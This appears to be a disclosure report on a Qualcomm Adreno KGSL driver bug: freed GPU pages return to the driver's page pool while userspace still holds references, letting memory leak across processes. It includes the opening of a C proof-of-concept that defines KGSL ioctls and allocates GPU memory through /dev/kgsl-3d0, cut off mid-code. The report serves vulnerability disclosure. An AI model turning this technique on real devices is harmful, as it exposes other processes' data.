Qualcomm Adreno/KGSL: pages can be freed to page pool while having GPU references [on !CONFIG_QCOM_KGSL_USE_SHMEM] [Tested on a Pixel 4 again with a slightly outdated version of KGSL. I ordered a Pixel 5a but don't have it yet...] On KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process. I don't know exactly what the security impact of this is and whether it leads to privilege escalation between userspace processes, but it probably leads at least to data leakage? Testcase that demonstrates cross-process data leakage (in an artificial scenario, between two cooperating processes): #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) #define KGSL_IOC_TYPE 0x09 enum kgsl_user_mem_type { KGSL_USER_MEM_TYPE_PMEM = 0x00000000, KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, KGSL_USER_MEM_TYPE_ADDR = 0x00000002, KGSL_USER_MEM_TYPE_ION = 0x00000003, KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, KGSL_USER_MEM_TYPE_MAX = 0x00000007, }; struct kgsl_gpumem_alloc { unsigned long gpuaddr; /* output param */ size_t size; unsigned int flags; }; #define KGSL_MEMALIGN_SHIFT 16 #define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL #define KGSL_CACHEMODE_SHIFT 26 #define KGSL_CACHEMODE_WRITECOMBINE 0 #define KGSL_CACHEMODE_UNCACHED 1 #define KGSL_CACHEMODE_WRITETHROUGH 2 #define KGSL_CACHEMODE_WRITEBACK 3 #define KGSL_MEMTYPE_SHIFT 8 #define KGSL_MEMTYPE_OBJECTANY 0 #define IOCTL_KGSL_GPUMEM_ALLOC \\ _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc) struct kgsl_sharedmem_free { unsigned long gpuaddr; }; #define IOCTL_KGSL_SHAREDMEM_FREE \\ _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free) void child_func(void) { int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR)); for (int i=0; i<10000; i++) { struct kgsl_gpumem_alloc kga = { .size = 0x1000, .flags = (2<